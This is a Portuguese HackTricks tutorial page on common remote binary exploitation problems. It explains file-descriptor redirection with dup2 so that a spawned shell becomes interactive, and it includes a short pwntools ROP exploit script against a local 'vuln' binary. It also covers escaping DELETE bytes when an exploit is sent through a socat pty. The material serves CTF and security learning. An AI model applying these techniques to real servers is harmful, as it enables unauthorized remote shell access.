hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md

4.1 KiB

Problemas Comuns de Exploração

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

FDs na Exploração Remota

Ao enviar um exploit para um servidor remoto que chama **system('/bin/sh')** por exemplo, isso será executado no processo do servidor, e /bin/shesperará entrada do stdin (FD:0) e imprimirá a saída no stdout e stderr (FDs 1e2`). Portanto, o atacante não poderá interagir com o shell.

Uma maneira de corrigir isso é supor que quando o servidor foi iniciado, ele criou o número do FD 3 (para escutar) e que então, sua conexão será no número do FD 4. Portanto, é possível usar a chamada de sistema dup2 para duplicar o stdin (FD 0) e o stdout (FD 1) no FD 4 (o da conexão do atacante) para tornar possível entrar em contato com o shell uma vez que ele seja executado.

Exemplo de exploit daqui:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Observe que o socat já transfere stdin e stdout para o socket. No entanto, o modo pty inclui caracteres DELETE. Portanto, se você enviar um \x7f (DELETE -) ele irá apagar o caractere anterior do seu exploit.

Para contornar isso, o caractere de escape \x16 deve ser adicionado antes de qualquer \x7f enviado.

Aqui você pode encontrar um exemplo desse comportamento.

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!